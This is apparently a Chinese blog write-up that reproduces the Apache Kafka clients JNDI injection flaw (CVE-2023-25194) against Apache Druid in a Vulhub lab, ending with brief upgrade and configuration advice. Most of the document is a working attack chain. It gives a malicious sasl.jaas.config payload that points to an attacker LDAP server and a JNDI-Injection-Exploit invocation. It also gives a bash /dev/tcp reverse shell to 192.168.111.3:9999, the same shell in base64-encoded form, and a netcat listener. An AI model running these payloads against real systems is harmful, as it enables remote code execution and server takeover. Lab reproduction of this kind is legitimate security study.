Apache Kafka JNDI注入注入漏洞(CVE-2023-25194)

基于Vulhub搭建的环境

一、漏洞概述

Apache Kafka是一个开源分布式消息队列,Kafka clients是相对应的Java客户端。

在版本3.3.2及以前,Apache Kafka clients中存在一处JNDI注入漏洞。如果攻击者在连接的时候可以控制属性的值为,则可以发起JNDI连接,进而导致JNDI注入漏洞,执行任意命令。sasl.jaas.configcom.sun.security.auth.module.JndiLoginModule

由于这个漏洞是存在于Java库kafka-clients中,所以我们需要在真实环境下找到使用了这个库的软件,且用户可以控制连接参数。

这个软件就是Apache Druid,其使用kafka-clients来连接Kafka作为其数据源之一。

二、影响范围

2.3.0 <= Apache Kafka <= 3.3.2

三、漏洞复现

1、访问IP:8888启动Apache Druid,漏洞在Load data中。

NEXT

NEXT

抓取的数据包样例(只取关键)

构造恶意的LDAP URL,将对应位置替换

http 复制代码
"bootstrap.servers":"127.0.0.1:6666",
              "sasl.mechanism":"SCRAM-SHA-256",
                "security.protocol":"SASL_SSL",
 "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://192.168.111.4:1389/xxxxxx\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"

实现原理:

攻击者启动 LDAP 服务器,并反序列化 LDAP 响应,攻击者可以使用该响应在 kafka 连接服务器上执行 java 反序列化链。

database.history.producer.sasl.jaas.configio.debezium.connector.mysql.MySqlConnector"com.sun.security.auth.module.JndiLoginModule required user.provider.url="ldap://attacker_server" useFirstPass="true" serviceName="x" debug="true" group.provider.url="xxx";"

getshell

1、JNDIExploit启动一个恶意的JNDI服务器,开启LDAP服务,利用此工具直接反弹shell,提取权限

样式:

python 复制代码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "反射shell命令(需要bash编码)"  -A ip

bash反弹shell编码前

python 复制代码
bash -i >& /dev/tcp/192.168.111.3/9999 0>&1

将其进行编码

python 复制代码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4zLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}

实例:

python 复制代码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C  "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4zLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.111.3

2、开启监听

python 复制代码
nc -lvvp 9999

3、利用(此处反弹shell成功的前提是VPSIP地址,需要低版本的jdk)

4、点击发送,静候几秒钟,反弹shell成功,

四、漏洞防护

1、升级系统版本。

2、无法升级的用户可通过验证Kafka Connect连接器配置,仅允许受信任的JNDI配置来缓解此漏洞。

相关推荐
Flynn Liang19 小时前
物联网时序数据乱序问题全链路治理:从设备到存储的五层实战(附 Flink/Kafka/IoTDB 配置级代码)
flink·kafka·iot·iotdb·emqx·乱序·时序数据
starzy19902 天前
Kafka响应发送:字节是怎么真正写回客户端的
大数据·kafka
阳光不锈@2 天前
三大主流消息队列架构设计思想剖析:从 RabbitMQ 到 RocketMQ 的改造实践
kafka·rabbitmq·rocketmq·rabbit改造rocket·去除rabbitmq·rabbitmq改造
ZealSinger2 天前
Boot4升后Kafka retry属性怎么改
kafka·retry·boot4·升级踩坑
starzy19902 天前
KafkaProducer 源码深度剖析:处理粘包问题的完美方案
大数据·kafka
MrWind灬2 天前
我给自己写了个 Kafka 桌面客户端:MrWindKafkaClient
kafka·pyqt
十碗饭吃不饱2 天前
Apache POI 踩坑:setFontFamily 二次设置字体不生效、样式残留问题深度解析
java·word·apache
starzy19903 天前
KafkaProducer 源码深度剖析:与 Broker 建立连接
大数据·kafka
心随_风动3 天前
Ubuntu系统安装Apache服务教程
linux·ubuntu·apache
我不会起名字3223 天前
Kafka 重复消费:自动提交位点与手动提交的 3 个错位
kafka·消息队列·幂等·排查